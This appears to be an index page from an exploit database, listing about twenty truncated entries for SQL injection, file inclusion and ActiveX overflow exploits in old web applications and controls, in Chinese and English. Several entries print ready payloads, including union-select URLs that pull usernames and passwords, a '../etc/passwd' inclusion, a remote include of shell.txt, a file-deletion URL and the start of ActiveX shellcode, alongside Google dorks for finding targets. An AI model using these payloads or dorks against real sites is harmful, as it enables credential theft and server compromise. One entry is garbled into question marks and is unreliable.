CA BrightStor ListCtrl.ocx ActiveX控件栈溢出漏洞

BUGTRAQ ID: 28268 BrightStor ARCserve Backup可为各种平台的服务器提供备份和恢复保护功能。 BrightStor ARCserve Backup所安装的ListCtrl ActiveX控件（ListCtrl.ocx）没有正确地验证对AddColumn方式的输入，如果用户受骗访问了恶意网页并向该方式传送了超长参数的话，就可能触发栈溢出，导致执行任意指令。 Computer Associates BrightStor ARCserve Backup R11.5 Computer Associates -------------------...

Ourgame GLWorld 2.x hgs_startNotify() ActiveX Buffer Overflow Exploit

No description provided by source. %@ LANGUAGE = JavaScript % % var act=new ActiveXObject"HanGamePluginCn18.HanGamePluginCn18.1"; //run calc.exe var shellcode =...

artmedic weblog 1.0 Multiple Local File Inclusion Vulnerabilities

No description provided by source. artmedic weblog multiple local file inclusion vulnerabilities download http://artmedic-phpscripts.de/index.php?did=artmedicweblog.zip author muuratsalo contact muuratsaloatgmail.com exploits...

Joomla Component Marketplace 1.1.1 SQL Injection Vulnerability

No description provided by source. Joomla Component Markplace 1.1.1 Remote Sql Injection Exploit AUTHOR:SoSo H H Iraqi-Cracker Tested on: Markplace Version 1.1.1 and 1.1.1-pl1 Dork:"Marketplace Version 1.1.1" "Marketplace Version 1.1.1-pl1" inurl:index.php?option=commarketplace Exploit in:...

Mambo Component MaMML (listid) Remote SQL Injection Vulnerability

No description provided by source. joomla SQL Injectioncommamml AUTHOR : S@BUN HOME : http://www.hackturkiye.com/ DorKs 1 : allinurl: "commamml" EXPLOIT : index.php?option=commamml&listid=9999999//union//select//name,password//from//mosusers/ S@BUN www.hackturkiye.com S@BUN S@BUN GOOD LUCKY S@BUN...

360 Web Manager 3.0 (IDFM) SQL Injection Vulnerability

No description provided by source. 360 Web Manager CMS Remote SQL Injection Vulnerability Author: Ded MustD!e Site: http://www.360webmanager.com/ Google Dork: inurl:"IDFM=" "form.php" Exploit: http://site.com/form.php?IDM=7&IDSM=20&IDFM=-1+union+select+1,concatws0x3a,name,password,3,4...

Send ICMP Nasty Garbage (sing) Append File Logrotate Exploit

No description provided by source. / sing file append exploit by bannedit 12/05/2007 The original reporter of this issue included an example session which added an account to the machine. The method for this exploit is slightly different and much more quiet. Although it relies upon logrotate for...

PPStream 2.1.6.2916 PowerList.ocx SetBkImage Overwrite Vulnerabilities

SetBkImage 堆和栈溢出, 还是以前的老问题。以前补的是PowerPlayer.dll中的 这里利用堆溢出和栈溢出，使用 CFindFile 对参数检查不严格，导致堆溢出。 在其析构时会导致异常，并且在析构之前发生了 strcat 导致栈溢出，覆盖掉 原来的 seh 处理程序 PPStream 2.1.16.1003 暂无 http://www.sebug.net/exploit/2616.html...

syndeoCMS 2.5.01 (cmsdir) Remote File Inclusion Vulnerability

No description provided by source. -------------------------------------------- = = = Mdx c 2007 = = http://www.by-mdx.com = -------------------------------------------- = = =syndeoCMS 2.5.01 cmsdir Remote File Include = = ============================================ = = Download: = =...

DM Guestbook <= 0.4.1 Multiple Local File Inclusion Vulnerabilities

No description provided by source. DM Guestbook = 0.4.1 Multiple Local File Include Vulnerabilities http://sourceforge.net/project/showfiles.php?groupid=101364 /guestbook.0.4.1/ POC : /guestbook.php?lng=../../../../../../../etc/passwd%00...

Vortex Portal 1.0.42 Remote File Inclusion Vulnerabilities

No description provided by source. Vortex Portal 1.0.42 RFI ---------- Author : ShAy6oOoN ---------- Group : PitBull Crew ---------- Script : Vortex Portal 1.0.42 ---------- Download : http://www.igamingcms.com/legacy-software/VortexPortal1.0.42.zip ---------- Vuln Type: RFI ----------...

PhFiTo 1.3.0 (SRC_PATH) Remote File Inclusion Vulnerability

No description provided by source. ?????????? ??????????????? ??????????????????? ??????????????????????? ?????????????????????????? ?????????????????????????????? ????????????????????????????????? ??????????????????????????????????? ?????????????????????????????????????...

雅虎通CYFT ft60.dll ActiveX控件GetFile方式任意文件上传漏洞

BUGTRAQ ID: 25727 雅虎通是一款非常流行的即时通讯工具。 雅虎通的CYFT ActiveX控件实现上存在漏洞，远程攻击者可能利用此漏洞向用户系统上传任意文件。 CYFT ActiveX控件的GetFile方式没有对用户提交的参数做充分的检查过滤，远程攻击者可以通过提供畸形参数向用户系统的任意位置上传任意文件，但是相关的控件默认情况下不能远程调用。 Yahoo! Messenger 8.1.421 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://messenger.yahoo.com/...

X-Cart <= ? Multiple Remote File Inclusion Vulnerabilities

No description provided by source. xCart Remote file inclusion Download script : http://www.x-cart.com// Discovered By : aLiiF a.k.a arif @debuteam 07/09/2007 HomePage : http://www.debuteam.net// Thx to : Debu Newbie Payment Yogac nyubi Rozi ^S0ng0ku^ Kuris Sonix Toxicity newbi3 R4yn4ld0 DisJocKe...

PHPOF <= 20040226 (DB_adodb.class.php) RFI Vulnerability

No description provided by source. Phpof Remote file inclusion Download script : http://www.phpof.org/phpof-20040226.tar.bz2 Thx Str0ke Exploit : http://victime.com/phpofpath/dbmodules/DBadodb.class.php?PHPOFINCLUDEPATH=shell.txt? Discoverd by ThE TiGeR MiroTiger100atHotmail.com sebug.net...

Yvora CMS 1.0 (error_view.php ID) Remote SQL Injection Vulnerability

No description provided by source. Yvora CMS v1.0 - Remote SQL Injection Vendor : http://www.yvora.nl/ Found By : k1tk4t - k1tk4t4tnewhack.org Location : Indonesia -- newhackdotorg @irc.dal.net POC; http://www.victim.xxx/errorview.php?ID=SQL Contoh;...

EDraw Office Viewer Component 5.1 HttpDownloadFile() Insecure Method

No description provided by source. pre codespan style="font: 10pt Courier New;"span class="general1-symbol"-------------------------------------------------------------------------------------------------------------- b0-day EDraw Office Viewer Component 5.1 officeviewer.ocx v. 5.1.199.1...

A-shop 0.70 Remote File Deletion Vulnerability

No description provided by source. A-shop =0.70 Multiple vulnerabilities Found Bug: Timq site:http://private-node.net email:[email protected] Vendor:http://www.rammdev.com/ashop/ PoC: http://site.com/admin/filebrowser.asp?folder=products&delfiles=del any file on server It is possible to delete no...

Expert Advisior (index.php id) Remote SQL Injection Vulnerbility

No description provided by source. --==+================================================================================+==-- --==+ Expert Advisior SQL Injection Vulnerbility +==-- --==+================================================================================+==-- AUTHOR: t0pP8uZz & xprog...

Girlserv ads <= 1.5 (details_news.php) SQL Injection Vulnerability

No description provided by source. Girlserv ads = 1.5 Remote SQL Injection Vulnerability Found By : Cold z3ro , [email protected] Homepages : http://hackteach.org , http://h4ps.com Script : http://www.girlserv-demo.com/girlserv-ads1.5.zip For Admin :...